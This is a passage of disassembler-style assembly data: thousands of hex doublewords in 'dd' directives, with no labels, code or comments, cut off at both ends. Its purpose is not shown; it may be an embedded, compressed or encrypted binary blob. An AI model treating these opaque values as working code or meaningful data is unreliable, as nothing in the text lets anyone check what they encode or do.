0E0841A02h, 2D260ACCh, 58469D8h dd 0BFC5CD4h, 64055DF8h, 1F88C886h, 0F7809C91h, 0FA790558h dd 1ED6A078h, 0D3840248h, 3CE0ADC8h, 3900187Ah, 1A20631Dh dd 15E5CE3h, 5A1525F6h, 0E04A4DC0h, 0CE7D889Ah, 70DA551Ch dd 0A41FFD8Fh, 54B236D1h, 8A3DB101h, 78C48EF1h, 3D180FCh dd 1F5107h, 5A6CC39h, 0ED85AAD2h, 0EA894401h, 32D18CE1h dd 0D43C502Ah, 0B61C3CC0h, 602AFF6h, 0F286625Fh, 8C66FFh dd 0E785BCDAh, 797ED736h, 0C10B9FE4h, 901950A0h, 140C232Ch dd 0C4743477h, 0ACDD01DFh, 0F17391C8h, 8AD9D066h, 143C1300h dd 4A2CBF19h, 4149448h, 0F0B48B62h, 8902F424h, 0C35E2EFDh dd 0ED947217h, 3354E4h, 66B5512Ch, 6E656BD3h, 5F2AB600h dd 0CB141F37h, 23A5063Eh, 58AF420Fh, 1BA9480Fh, 5A9486BAh dd 0D184450h, 377FC271h, 0DD51CD2Eh, 0C95DFE01h, 828B1186h dd 0A08581F1h, 24A2A4h, 7BDBEFE0h, 71428A5h, 12AB196Bh dd 0B38039F6h, 7CF7B6BDh, 0F9A79C05h, 8420DC18h, 165F3EBEh dd 8C9265Bh, 0A8A98D44h, 0A1496880h, 14DB107Ch, 0F8FDD172h dd 61658680h, 6713F60Ah, 1CB3E6D8h, 0E2E9A100h, 6C4ED192h dd 1F88A3Bh, 740B7668h, 4047C318h, 5F36FA51h, 0CFC90428h dd 6F3E6057h, 44C0B8B8h, 3B22E048h, 17E7AACh, 6F595E0Dh dd 0E487D8ADh, 4D586DD7h, 0EBA204B0h, 30ACEE2Ah, 0CB0F5061h dd 7CE4DAE0h, 0A5F8F974h, 0FCD4022Ch, 50C9C21Fh, 8EE85916h dd 472451F6h, 853F405Bh, 3C4361h, 1B71384Ah, 86A97E19h dd 20F28E00h, 0E8DABA6Ah, 0E6D090BDh, 0F070F798h, 2B2F0D64h dd 0FC9021F4h, 34A41050h, 6581791Dh, 0F31CF500h, 0C45DACh dd 6620319Fh, 678C5EEAh, 1D3E2E0Bh, 4E5884C3h, 70E4C41h dd 0A06247h, 26623CF6h, 7761EB6h, 0E0A8B155h, 0DA131057h dd 3A7B7EDDh, 683E1FF0h, 0BA561680h, 0D166F802h, 0C1C5934h dd 0ECB8138Eh, 88FDC100h, 385D2380h, 682424AAh, 0E86B01D9h dd 50994531h, 30C590E4h dd 88DBF900h, 750D1FA9h, 6C9097ADh, 0F83EA571h, 0BBD40048h dd 0CFEAE3D3h, 8B34B8D2h, 0B814A384h, 7BACD9FBh, 0E2020089h dd 0B62FC965h, 64F8CC76h, 0E5196005h, 3C004654h, 28BD0436h dd 5BBF00CBh, 796424E0h, 60911C50h, 5A9A8A09h, 0DE212B4h dd 4E94A3DFh, 1058EC82h, 0DC043773h, 7C70BEECh, 95DB01BFh dd 0DCCBF0FCh, 0C14739Dh, 2D84A98Ah, 80048FDEh, 455B0960h dd 0ED5D04F1h, 0C01DA241h, 1BFB0E18h, 0FDD88095h, 3B6994CAh dd 0DCC83690h, 41B78B80h, 8CF88D2Dh, 6B3E1B00h, 38C60832h dd 98D89DC5h, 3843264Ah, 0A8A3695Ah, 7D26746h, 0F536510Eh dd 4E38D29Fh, 88004071h, 77482EF7h, 7E090118h, 25CF3A28h dd 40FF31C8h, 1D59437Ch, 0F8A7750Bh, 7BC44846h, 0FB493F3Ah dd 0F82E2412h, 3BA0013Eh, 4F6AF634h, 0F728612Ah, 18F8D823h dd 0FD4AB10Eh, 69427ED0h, 0C0DE1E47h, 2BAF5F5h, 0DE0C1C7h dd 34802606h, 0D91DE955h, 7211DD09h, 24BA806Ch, 138E497h dd 65F259A2h, 2B463E63h, 1611E040h, 0F6C283BFh, 0EFFAD7h dd 0AD9B273h, 6F0D0552h, 697EF113h, 0F20094E2h, 0F3CA1B70h dd 0B71E0C57h, 0D640E3CBh, 73AADAFh, 0DBB42422h, 76D00BC8h dd 610008C4h, 9454DDC8h, 0CDE95DFh, 8BCF190Fh, 7C963C89h dd 0B1804E80h, 157D9DBh, 0E588B747h, 0CCA019E6h, 0D4981006h dd 58BD562Eh, 9C02D000h, 5C4EFB6h, 23EE88E1h, 34C5C04Fh dd 0B438AE41h, 95C10243h, 70509A83h, 782C0080h, 8C365DB1h dd 3A26F3C5h, 0A90900F4h, 0A5642265h, 6C4C2B9Bh, 0F8517913h dd 0F12590C8h, 7817E560h, 0BFB0004Ah, 20601272h, 3602DD89h dd 1ED347F8h, 405456EEh, 0E7CE7475h, 0B4CC498h, 0D7300348h dd 0E63FFC90h, 4FB6077Ah, 3157FFBEh, 6D658A5Dh, 3F970018h dd 0DE40B8Bh, 9A8F13DEh, 9D2800F5h, 96C16FC8h, 443AD624h dd 50D2DD8Ch, 0CB170BA3h, 5450E2E5h, 5447FA11h, 0F48A8B00h dd 30B1D085h, 0BBEC400h, 5B8867E9h, 0E7583B64h, 0F67C9781h dd 0F0349FCCh, 1626E30Ah, 8B1F7012h, 0C11BC200h, 9F3CF397h dd 0BDB31090h, 0C9A3BC00h, 8388E2F2h, 18894C51h, 0DC6059C9h dd 504B228Ch, 80F43421h, 1986ADCh, 9B94B87Ah, 62928AB1h dd 0A0204F54h, 0ECF750h, 4B22200Ch, 72D46FEFh, 0A3186100h dd 9F2F4025h, 63CE0FAFh, 0BB2F57B0h, 4D790400h, 0EF03125Ah dd 76D22D14h, 7738A1C9h, 27090C20h, 9CE4B5A3h, 0D582D91Ch dd 20C74E8Eh, 9EECFBDh, 0FB870525h, 0A20DDAD1h, 27DC00C8h dd 0F7BD1FC7h, 7EAA07C0h, 55283996h, 1A64A403h, 3B017A7Eh dd 0F84A4518h, 292A07D2h, 0DA2460A8h, 0BE3B8A44h, 0AA4587E8h dd 0B87E1038h, 0E6126875h, 5B008429h, 0C0DF4F8Eh, 0D17003F7h dd 6CE16066h, 999791B0h, 0F1C6E5FBh, 2F44632Ch, 33501088h dd 0EDFC5CACh, 52DE8B03h, 29002117h, 94F64F88h, 0F9C1690Dh dd 9245C2Dh, 0D1033C31h, 0ADD87A78h, 0BDA98EA8h, 0B90C2F01h dd 7DF9F062h, 0EAA6030h, 0C8DA360Bh, 0E0E15887h, 6950230Ch dd 677C1A03h, 0F9CB646Bh, 1470C6B8h, 5E7A6161h, 81D3FAAEh dd 0CF9F0A30h, 742D2364h, 0F50A5C1h, 10C9A5A7h, 41FCACh dd 56EE32D0h, 4CC463B0h, 802A223Ch, 0D97B49BCh, 2EFF9E2h dd 0B7D695E3h, 0E8A0E064h, 8A4749CEh, 0C4ED2E25h, 74BA01D0h dd 467A8D06h, 0CD8180D4h, 0FCD13048h, 554B00D8h, 925CA832h dd 4304356Fh, 0A08913C2h, 4A89B8E8h, 820070E6h, 77B49E9Fh dd 1E6CBADAh, 89FA365Bh, 38E4A283h, 80857638h, 25171ADAh dd 26A16CA7h, 52BB612h, 0A499890Fh, 4202CFA0h, 9B311925h dd 1C4E3FAh, 0AF30A88Ch, 0D826350Bh, 6C94B2BAh, 575DD40h dd 93AE0003h, 4AA339F7h, 4F004D32h, 452F046Eh, 12CEBA35h dd 0B25B7191h, 2B660014h, 1F0CDDB9h, 0CEC4002Eh, 1647A898h dd 647837B0h, 9ED57805h, 0A02035D1h, 2C30608Fh, 1E926E44h dd 45146689h, 0CD7C9859h, 3ADD016h, 0ABC06094h, 66059F5h dd 2DFD3FF9h, 1B445848h, 0BD143B88h, 74C1AEA7h, 98E9F0E6h dd 0D7511D02h, 41CAE3AAh, 2A29AAh, 0A7DA2EB4h, 0ACF8F4BAh dd 0ECC42F1Ch, 55323300h, 0F829705Fh, 5C0F0088h, 0D471ED6Fh dd 5001DDFh, 15D7ABB7h, 0F4711AEh, 29CAF583h, 45F0503Bh dd 0D60FE4EFh, 18C08D30h, 0A37F68h, 5690FD59h, 389EF496h dd 0CACB6206h, 397A21h, 0D50AC258h, 0A113072Dh, 0D1F22303h dd 382AC6E4h, 0C00B220h, 1396B8EAh, 710050AEh, 0C25DDFE2h dd 0C07B4F0Eh, 0FDADCC49h, 5E398E6Eh, 8C2A0C13h, 7089BFh dd 17813BAFh, 0E199ABCFh, 39404F30h, 1C43EEh, 1D1BF0D1h dd 3150510Ch, 0B8367E0Ah, 0DC4498DDh, 0C042E7C2h, 0E733393h dd 0DD59E77Dh, 0C45C2178h, 0EBFBF907h, 7FE0C04Ch, 6360C3h dd 6FAD7B2Bh, 0D0735DFh, 0F57AA6FEh, 0F7DB7506h, 41E6DCh dd 7EEF0938h, 0D2211E39h, 0F7B7C400h, 0FBBB53A9h, 37E85Ch dd 0B536827Dh, 0BF207F38h, 90329601h, 0AA425E35h, 0E2D74980h dd 50D6CC26h, 2391701h, 0A2DCBC94h, 76692180h, 0BEDF3B6h dd 37447F01h, 461840B3h, 0E4F2E040h, 0BC5854FDh, 78A0A48Dh dd 0B12F1DD1h, 6D580ACh, 0CE2CD4Dh, 69544EE6h, 0C17C02A4h dd 0D776EB00h, 0B638F701h, 6DD90358h, 0E1C6C3C2h, 0A22065C8h dd 7C802950h, 6C3F6400h, 0B60B0515h, 46070393h, 0D4CC4558h dd 0CDE97900h, 88F5EB50h, 994C60DAh, 31EE464h, 73FCDE01h dd 9BDD3A4Bh, 7CBBE180h, 31AF99F9h, 64483Bh, 500E9535h dd 104F629h, 84A74967h, 20FCBE20h, 616EF859h, 77540759h dd 0E6DC7A93h, 711D0051h, 0C1C2E27Bh, 0E0FD092Ah, 0B9F4FFF5h dd 80462039h, 1A0C0791h, 60575E65h, 0BE3739A8h, 2348CAA7h dd 1E809F90h, 543AAE7Ch, 684B035Ah, 0E2660D7Dh, 8B7182D8h dd 0C0557800h, 0E475F451h, 0F5B288FFh, 24B54600h, 0EA565484h dd 0CF8E010Bh, 2BC57C9Ch, 0F298144h, 838CD031h, 0A050BDC9h dd 997776Fh, 24CE434Ah, 27CFCC18h, 5C78EB0Eh, 5515802Ah dd 0E9173C9Ah, 3CEDDE4h, 26A5367Bh, 2FFBE492h, 725488D4h dd 58392507h, 0D721C9FEh, 0A0F4F1ECh, 0C5060023h, 1EE16E75h dd 0C100367Ah, 7CBD4631h, 0C0AB5B5Eh, 7BE2DD41h, 1C914FF3h dd 31AC402Dh, 3ABE7BFDh, 0E4021E08h, 759477A3h, 0CCD5B283h dd 5054C0C9h, 0DE74CE88h, 405EB30Ch, 604E599Eh, 0D2295176h dd 90001853h, 2DF6A1F9h, 0CB4403h, 45BEEC19h, 0E3DD9C0Ah dd 811A1502h, 469A33C4h, 0E2CF00F4h, 2BB6E90Ah, 14987663h dd 2FCA3114h, 9D9180E4h, 7CAD7F7Bh, 0C02252A3h, 73D45802h dd 64400A66h, 449834BCh, 0C391A500h, 0F5B921F8h, 575F003Fh dd 897B0517h, 360074BEh, 4DA1CBCEh, 0A83C4Ch, 46F35AD6h dd 0C912585Dh, 45881E3h, 595EACFFh, 0D8383832h, 0CA8088C8h dd 70871A9h, 65D1DC03h, 0E836EF8Bh, 15D52A1Fh, 0FCDB8D95h dd 448E9200h, 634EB525h, 512B9C0h, 0D47AE7h, 41969B4Dh dd 137935EBh, 0AEDC9D18h, 992C71h, 45BB500Bh, 4624802Dh dd 36CFEF00h, 0E967FDB0h, 0CDC22638h, 577D090Ch, 0E68001DFh dd 2890AEDh, 401896F8h, 250028E0h, 0CF2F0714h, 676273h dd 7F827280h, 4EEF4494h, 80A16C6Eh, 0C9DC8CF5h, 3B0F00ABh dd 78252B12h, 0D89064E1h, 0E02C9C78h, 1E120838h, 0C78D9C61h dd 587F7180h, 0CD30F296h, 51003D76h, 5A110812h, 11DAA24Ch dd 0F6E4E2Eh, 8738EE49h dd 4F70A0A8h, 0DC2A45h, 263D587Bh, 0C98C3720h, 0D75D59C0h dd 75C8C35Fh, 760E673h, 2A370E81h, 8021A7B3h, 0C36CBF0Fh dd 6EC931C0h, 3A9271h, 43010D6Fh, 7ABA30C4h, 0EE375000h dd 0FFF26775h, 0DAA240DDh, 20585100h, 2AD31C79h, 0FB2107B5h dd 0E6A9C725h, 1D05E960h, 0CF27BECBh, 2C38800h, 0F0363C46h dd 0A7050A0Fh, 0CC99F0h, 0C2378717h, 15F0F312h, 0D7E3B800h dd 0E60CF4B3h, 98183054h, 717B2028h, 0F04F9E28h, 20BA004h dd 4082903Dh, 448029ADh, 7DDE6094h, 0E5DC851Ah, 0E86DC19h dd 11C0E6BDh, 825FF0F1h, 0A345B300h, 57C327FCh, 0D7E13F73h dd 3366CA00h, 1C6CAED0h, 1BC23005h, 0C440784Eh, 2CEB01F0h dd 0B87471CBh, 9B544408h, 24BEED03h, 0A9585Eh, 7862179h dd 0D4E2B81Ah, 7906FF79h, 614F2C67h, 75A14C51h, 4A8D8500h dd 7258EFACh, 204E782Eh, 579DD040h, 0CEB5009Fh, 0D5287646h dd 30589907h, 93CB3BDCh, 0F023415Eh, 8E1AD0E4h, 2A13F36h dd 0CF638483h, 2101ACDCh, 699ED2D7h, 0CC41537Eh, 46301CC1h dd 374501A2h, 8C36BE6Fh, 0D20C24E2h, 7638C200h, 8D2A8364h dd 6319C0C8h, 1DB36AA5h, 4A70DD00h, 92D304A3h, 0BDA901EAh dd 0D7B69C6Ch, 0E4B8314Dh, 9D002B6Dh, 0D4777D42h, 28EB1B57h dd 0A8CB220h, 0E9C32804h, 25276FB0h, 0D4CBDE1Dh, 183D4498h dd 55FCC400h, 95917231h, 0D19E04BAh, 0C0D60C41h, 0C0C24628h dd 0D0607A89h, 0E37D3E7Bh, 19E4E73Fh, 0EF78C075h, 0BF064A4Fh dd 474E7A42h, 763C0079h, 9CCB6095h, 8D28B9DEh, 0EB028F8Eh dd 0C08013A3h, 0B04486h, 9812DAC2h, 8EE934ECh, 16143D00h dd 0F6375FA4h, 774F04C6h, 4EBC6CC8h, 0D2A6C08Bh, 1463210Ch dd 0E0D5AE5Eh, 9F6F5400h, 6498105Dh, 0DD5A141Dh, 789DEFC2h dd 50D46191h, 5FB830h, 0E6D434E9h, 0C297F0FBh, 1957D109h dd 0AE2CB03Ch, 2D0412F8h, 0A4EC208Ch, 5A0033CCh, 0E218785Dh dd 0B68105Ch, 0DFD165FAh, 0C04A890h, 8773D872h, 819085E8h dd 9861A701h, 8D9C0224h, 0BF00DC62h, 0BA808367h, 7D2E86B9h dd 2460B4EFh, 7C23D533h, 665005Ah, 0B56D77F9h, 5F02E518h dd 0B9B035DEh, 178861BAh, 54CC5421h, 797D3C49h, 140F124h dd 6C862004h, 250217C7h, 595CC051h, 101B3A5Ch, 212F0E00h dd 6157AB81h, 7A3FF973h, 944980EDh, 0C43A6C54h, 68066209h dd 0A8524ED6h, 577B2D00h, 0DE725671h, 0A0660030h, 8A55C7A4h dd 978BA2DCh, 25E0CAC0h, 0B9DD0096h, 0E357FB17h, 48F745FCh dd 2831C384h, 53E15979h, 0CB64C70h, 852050F4h, 220A55B0h dd 0B4D03D24h, 8C719861h, 0B9F7FCh, 0EBFE3ABDh, 8595020Fh dd 675E7500h, 0F3359F93h, 80889192h, 4FA0816Ch, 0EF01035Fh dd 0B354F1BFh, 0A8C374E9h, 988B085Ch, 1238E6B0h, 1DCBFD58h dd 0EBE3442Ch, 108CC8DCh, 8023B03Fh, 522590D0h, 0C066DFBFh dd 0CC20DC99h, 9307C370h, 0BA122960h, 0EF011C21h, 11D3420h dd 3DA37B9h, 2029DD28h, 3560A44Ch, 9FF26FE8h, 29EE81Fh dd 0D9D022D4h, 0D8605F3Ah, 7630555Ch, 0DF6128A8h, 0CF71C042h dd 1D806419h, 8904301h, 0D8276BC0h, 2177DFh, 0C1CD8E32h dd 0D22052F4h, 84210604h, 1C85E730h, 0C15384h, 0E023FD2Dh dd 338C100h, 8AFCF345h, 91BE2C00h, 7E0D5E3Eh, 265F02F2h dd 499E1607h, 46DDE860h, 0E8DEC329h, 0CEB97C00h, 0C1624F85h dd 2667BE51h, 30C0FCD9h, 497739h, 0A8F2B048h, 0BE73A2h dd 8D7ECCEh, 6E2B83F8h, 0D6753E00h, 9EB68750h, 84952693h dd 60270044h, 547C3597h, 8C5C5971h, 4E6807Ch, 12200D44h dd 942BE3E4h, 92F482F8h, 4555B482h, 31074BC3h, 3D376C3Fh dd 0AC88CD71h, 0EF16FFCh, 57E475F5h, 1A0F20F4h, 0CD80DE9Fh dd 0D23746D6h, 40123600h, 0EE39DD03h, 7FE8E0C4h, 404F4A2Ah dd 0C1509B50h, 7C0130E1h, 6EA98BAFh, 79F4AA32h, 61AE04B3h dd 0C41BBD45h, 0C36004B4h, 2A40A42Ch, 37806CB9h, 66E9CD46h dd 0DFA00D4h, 0F22DCF1Eh, 0BE7DD0CBh, 8C7F6507h, 2FF64F22h dd 0CCBF1BE8h, 35B8C15Ah, 3650163Ah, 85008697h, 6609B942h dd 0F3B7254h, 0DFB130E6h, 1CC231F8h, 0D13E45FAh, 3415C65h dd 8C22AE28h, 0E19107CEh, 0E0417C5Fh, 31A47E09h, 6C1D6600h dd 7DCA6DAFh, 74F14CA6h, 3B05C522h, 206C7173h, 881C01BFh dd 0E85B316Eh, 68909D76h, 0F52A5F01h, 0F4A2207Bh, 130D74D0h dd 0D04ECD62h, 2232820h, 0D3EF1A04h, 708CCC56h, 7E85002Eh dd 0BBD7A3E2h, 0CDE20C09h, 0A692F200h, 0CA84AA21h, 6F449E22h dd 3C37DFE0h, 910F4D59h, 45C460Ch, 0C0CC759Ah, 0DF6D0036h dd 1F86D0AEh, 0B9007167h, 2153E492h, 13E16B91h, 204FA1CDh dd 0C9BA432Ch, 5F1B7B05h, 0C480D6EDh, 0CA337FFh, 0D020C572h dd 0F0C0CA29h, 0EAD45DB9h, 130749Ch, 0E251E103h, 107F4E4Ch dd 0F0B8302h, 0DD99C749h, 0CCF51645h, 38006E3Ch, 0F293AE10h dd 170B29BDh, 213C5E30h, 60D52094h, 0A006B70h, 0CF218375h dd 0F31307h, 10883D97h, 0CD8755F6h, 0F7AC1501h, 0F4D437DEh dd 1D3A80C4h, 0C4C321AEh, 8C177CCAh, 800B344h, 0CCC99131h dd 1A6DE95h, 67FEDA10h, 0DE09E250h, 0F61C3859h, 65DCD807h dd 0A08452E3h, 14DB48h, 757BF369h, 0B046AF5Dh, 803CCC48h dd 537064C0h, 1A99001Dh, 0DFA3659Eh, 0C4448D69h, 0AEF600E7h dd 90C81F83h, 0B9010C1Ah, 0D96721DBh, 72E5374Ch, 256165CCh dd 9CA9C0E4h, 9F1C8C44h, 0D4C44D51h, 5A407B4Eh, 0B8DD15B3h dd 18EF363Bh, 6D3951CCh, 0EC6AFC3Ch, 0E35C39B1h, 72F24480h dd 7C3BD9D4h, 7B75E002h, 98575F77h, 4A5EA1BCh, 0B8A02042h dd 0EF4C1B3Ah, 0A35A189Eh, 0C07D4E19h, 48F69D81h, 1DFCC08Fh dd 3AD3700h, 72502685h, 0E7322ED6h, 6DF1861h, 6090A5A8h dd 0C014FA48h, 3C4E1CCh, 12803956h, 0F079807h, 0A486A453h dd 434CA83Ch, 81B80BDAh, 76FB80CBh, 79E7D45Bh, 7AAE1C8Ch dd 4A8A8271h, 0DC469298h, 0CBD1A307h, 0E0601783h, 1CBE6CA8h dd 4B0F1F24h, 500FC2B6h, 42901CB6h, 0D67AFE7Dh, 1EFA84C6h dd 0B56FE504h, 0BCC29358h, 6E5520DBh, 58901D70h, 0E0232F5Ah dd 8B48B05Fh, 5E9B0916h, 0F880F82Ah, 588D0F15h, 2412D439h dd 0A400A0BFh, 416D6357h, 20AF4B5Bh, 5E48A1A4h, 58D31400h dd 0BCDB7D57h, 0FFA31FC5h, 45CE3E9Ch, 88614EACh, 7A1C6E74h dd 0DF80E1BCh, 70D172A1h, 3258E4h, 7E755280h, 0A30F8B0Bh dd 0A2F4BEF6h, 0E0F5966Ch, 514318h, 9702034Eh, 0CEC82774h dd 3823CA26h, 0EC703440h, 20F85BE4h, 0C1D31A74h, 0E0C09CB0h dd 0CFB6F11Eh, 0DC4D3936h, 80747D9Dh, 77954611h, 0C1548D23h dd 5F300A90h, 0E59A60BDh, 29180B39h, 4480CC7Ah, 202C3D30h dd 8BA30E3Ch, 78E1D7h, 45FEC1ECh, 9AB300D6h, 94755F54h dd 9C13FBF9h, 0A8C8C531h, 0EB68705Ch, 24D8E8h, 6E369F3Bh dd 2D4BB6ADh, 0EE406201h, 6CCF338Fh, 79D848h, 1B7F8743h dd 2301ADBBh, 5E37B009h, 0E480103Dh, 361DEECh, 673676D5h dd 0EC07ABA7h, 0AA97A07Bh, 9960DCFFh, 0C1A41931h, 0E4291C7Ah dd 69C3C759h, 7E6C80DFh, 6304EF8Dh, 0A8555E84h, 6A103740h dd 0D09E2ACAh, 0DED701BCh, 3F5FD21Bh, 7E00A9BEh, 0E481AE4Eh dd 0C82C1358h, 0D411BCE2h, 8720D20Dh, 0BA2C10B8h, 56003FE6h dd 6F0C05E1h, 0A0C6E45Ch, 905F1CD8h, 0D030040h, 0CCA5121Dh dd 3899DFBAh, 495E1403h dd 486298BEh, 547A078Ch, 409D6A51h, 84BD154Dh, 0F088FE60h dd 2CC25DBEh, 8D70Bh, 292416FBh, 0FF4EE474h, 5D5FC40h dd 188BC639h, 0E9454F6Eh, 710BC451h, 3BDDF6h, 0DC11D9DEh dd 0D2070E6Fh, 9032D898h, 0F5EDE94h, 10F1450Fh, 5790E005h dd 7E89A5FDh, 0ED4624F3h, 67760CCh, 301C807h, 6CF98757h dd 84F0F1C7h, 4C301D1h, 0CA2936DDh, 13603220h, 890C245h dd 1F5F5Ah, 57604170h, 0A7F0A08Ch, 6F54A301h, 39D42059h dd 40E04C57h, 1350D5h, 44E44C64h, 75FEF514h, 0A274C501h dd 0BA21CFC2h, 9801F825h, 4306224h, 32832606h, 0FC82084h dd 7824F1Ah, 0D8D16F02h, 0FE008C52h, 0C3751F8h, 14ACD574h dd 0B86EEC1Eh, 60F4122Ch, 3309AD18h, 82BD0500h, 0E5759C29h dd 1487F4Dh, 1463B32Ch, 107F4E26h, 11E32E0h, 0CABF67F0h dd 228C3541h, 10C70BD0h, 7EF90062h, 2478EB80h, 0C02C0F08h dd 0CAEA15E4h, 81402858h, 57A71258h, 161427C4h, 1EA5F641h dd 0DF70C690h, 9A0339AFh, 0A66CC751h, 9EF2FEA4h, 70F6A764h dd 0CA0BA200h, 135079AEh, 404DF8E1h, 0FC0F5A98h, 49C0A1DCh dd 29A20169h, 0E2405CA9h, 3EF8C028h, 808B6C54h, 0E01236C5h dd 0CC00E446h, 0DB4E3572h, 2FE13E22h, 9C20DD11h, 576F82A1h dd 0D2C5E507h, 66A0B34Fh, 7D3A35h, 0C77F7B83h, 8267A31h dd 0DE2B8400h, 7585F373h, 9F57178Fh, 0A5E0CCC4h, 15B06600h dd 0EBFD50D2h, 0F1CD0063h, 0AD799C3Eh, 680A1607h, 8C5B5E64h dd 6082DD44h, 27F020D5h, 7403F537h, 85CF24BAh, 0D1B64Fh dd 0FB68EE39h, 0B10FE5ABh, 68E02FE9h, 2EE21Eh, 546E7E63h dd 0CA47C259h, 0F22F3801h, 67CC8746h, 448F8451h, 0EAE534DCh dd 2E0D0BE4h, 0C804553Fh, 1C74D8E7h, 79607402h, 5228C32Ah dd 8C9211E8h, 0E05600C8h, 336D671Ah, 530500DCh, 0D1226A8Eh dd 0D21F65A6h, 1A530C6Fh, 4206C10h, 4FE8C337h, 0CD4488h dd 8422625Ch, 0E5B463BCh, 0D675F50Bh, 850C42E2h, 4A806D8Ch dd 1D208B9Dh, 0C0CAF3C8h, 0A8F5D5B9h, 0B11789F1h, 58089075h dd 7A7882A9h, 58445B5Fh, 28E2CD0Fh, 63528375h, 34C100C6h dd 27A3F7E1h, 88002F84h, 0F4CE4408h, 5F64C54h, 0D8E2DBD3h dd 7288405Eh, 0F5516F79h, 280CD1Eh, 50AC7A00h, 5294C1E6h dd 6A01B0DFh, 0E0D27F8Ah, 77942093h, 0DC21C54Ah, 83D2EF45h dd 58595EF0h, 7867B889h, 1C57C0EDh, 99D47Eh, 9870AA80h dd 0F602DDEAh, 7E6FE03Ah, 7409956h, 1035A17Bh, 7DA3AA99h dd 95B8207h, 71D379B1h, 80F6E2E2h, 75162680h, 0D9741C30h dd 0A73742B3h, 5C56F9E4h, 63804862h, 2ECE854h, 8794B6DDh dd 0B009498Dh, 86A09F7Ah, 34BDA102h, 51CB0429h, 5617014Ch dd 34357F84h, 2FF46B68h, 5759D3Ch, 0D63D9916h, 42E5A830h dd 86020712h, 0D0822E40h, 0A4D63C14h, 62BF1F09h, 78C4C8D9h dd 70A10020h, 98E77482h, 0EE004E54h, 5006AB8Ah, 0FEE1632Ch dd 0B8D150CFh, 37CA2103h, 4F6C13BBh, 0FE510820h, 0A81900DCh dd 5CC00DF5h, 0B1027216h, 21EF7042h, 0A25CE811h, 80662875h dd 0A72B3AD4h, 870C0704h, 0E4A21Eh, 604F10D4h, 0E09AC6h dd 0FC2BCBB3h, 3E9F2D46h, 0BC871B28h, 0D47A271Dh, 3157C0Eh dd 0AA3769h, 0BA8776A8h, 55547035h, 4A5EDF3Ah, 0F1CEB820h dd 21FD2DEBh, 7810B410h, 4398E377h, 0DCF59D12h, 0CD9AC491h dd 0F1E65E80h, 2C0D1028h, 489DF730h, 28EBE82h, 277AF57Fh dd 2CC45BD8h, 590022EEh, 42233C26h, 954C9Eh, 2E60B610h dd 0D418B961h, 0FD6534B0h, 98825CC8h, 0CC002944h, 3D84F0EBh dd 4BC8BE05h, 0C7CD89h, 28A0F480h, 13EE1DD5h, 2792C235h dd 7064CC46h, 96D1F300h, 9CD09E7Ah, 4A3F006Fh, 0B34694A5h dd 0FF0068FBh, 319BA3FAh, 0A6E5A7h, 6D2A4578h, 844E1CE7h dd 79AAC918h, 6F25E030h, 85003891h, 0A8E5B8Fh, 94102160h dd 0C0B2615Fh, 0B5325959h, 43FC026h, 93416041h, 187865h dd 0F4ABE3CFh, 0C7F54C6Eh, 8DD08F00h, 0F8068925h, 29C907E9h dd 0B3CCEBBAh, 6107492Ch, 6351BCC6h, 60987AC0h, 8E960A85h dd 40422Fh, 934D7F78h, 0C328D775h, 62015C40h, 0B05916FEh dd 3220630Ch, 403318E4h, 364A2195h, 7203233Ah, 0D7000190h dd 52071176h, 1C5FC26Eh, 804DC88Fh, 0E8F0D4B8h, 55018DD3h dd 0C0EFBA9Fh, 4996E340h, 651300FEh, 9963BF69h, 0CD122E03h dd 0A3EDA105h, 5A04B07Fh, 678503B8h, 4C785629h, 0BE051D8h dd 4EAC9054h, 6F268A18h, 0A9D8270h, 0B63356EDh, 0B59C80ACh dd 0D8164B47h, 14BBE90Ch, 0FC2739ABh, 90D27ECFh, 35B80061h dd 0B17532E8h, 0BBFB4F36h, 0B7B683C1h, 3AC14DDh, 40162339h dd 0CDB0C133h, 4B54118Dh, 5A00A3A8h, 0B1FE55FBh, 9AEEECCh dd 5B0337A6h, 0EB59BE00h, 0D2002ABBh, 256A3274h, 1AF68BAh dd 0CCA3DA97h, 22A9C684h, 44363A1Ch, 3EE94C39h, 0C0118230h dd 0C2012157h, 40113808h, 7AD00F8Fh, 0F92A05A3h, 0C1717523h dd 0ECE8EFAAh, 0B93FA919h, 516E14B2h, 100924C4h, 9622E940h dd 70F80054h, 78387AE4h, 32EC9D9Bh, 6039717Dh, 761280D3h dd 4F08508Fh, 33FC0DD2h, 31A9AB41h, 27476095h, 2A0C5B78h dd 0A9AE13DBh, 0A403019Dh, 4BE86EEDh, 5BD1808Ch, 0C09971Dh dd 0A6870062h, 8F454AE7h, 0F607F2D2h, 73BB6693h, 44058D72h dd 46C60054h, 324D982Ah, 77300DD9h, 1D63C8EFh, 0BE083E7Fh dd 23316900h, 0C97BBD85h, 240628FEh, 8707BADAh, 8C120091h dd 53F736E6h, 8600D6AEh, 13E985EDh, 308D3569h, 4E72507Dh dd 990764C8h, 54A2C998h, 4C329010h, 761B0F85h, 4F803A6Dh dd 0A7DE840Ch, 0C3C884ABh, 4A306880h, 76A3E9B4h, 7EBE02BBh dd 8616DCFCh, 12B20C61h, 6BAC81B6h, 0DAF11076h, 30E0A848h dd 0DDB19234h, 7D066D6Fh, 1FADE93h, 0D3148040h, 0E73204FCh dd 84D74B6Ch, 0AD5880B0h, 8289371h, 1442A08Bh, 61705F01h dd 418EC484h, 80801320h, 7DD21B69h, 530373Fh, 7CA1C152h dd 0E6CA80A8h, 5300B307h, 7D8E8B6Ah, 71DDD298h, 0E31C0F55h dd 70006212h, 16334B49h, 295F9E13h, 432A6820h, 0C422FBE9h dd 531516h, 0B2149AF9h, 0BD099BC9h, 0E1EEB5h, 21B14CB4h dd 0BE4300E8h, 74ADEF7Bh, 0D900199Ch, 0A9B9429Bh, 506AEA62h dd 20699CCCh, 0A644E11Eh, 5C660370h, 0AD1486F2h, 4F6BD900h dd 96E19C08h, 7840F9D3h, 0F401D6BFh, 5AFA02h, 0DB73487Bh dd 9DAA763Eh, 0E4015EB8h, 70BF2757h, 0F9CC1532h, 1E376C4h dd 4D8482C9h, 0D71465DAh, 0CAD75100h, 8F2FE4C3h, 0A4603E4Eh dd 0F3640487h, 5A9B40E7h, 8617BF63h, 1019703Ah, 84C05840h dd 0C1A460A1h, 0E9F67E33h, 9A777101h, 86149674h, 8DDB618Eh dd 6E292BA1h, 0F5DDC40h, 0DDF1CB02h, 4428E0E8h, 0F01300B8h dd 0AA986E04h, 56E66B1Ch, 8F6187F9h, 454302BEh, 9AAD88D9h dd 57EC0386h, 52CB9640h, 80682939h, 53AE7FFBh, 60EDE2C4h dd 89A104E3h, 3B2A2B35h, 99007C68h, 53A0B2B4h, 0E255BB6h dd 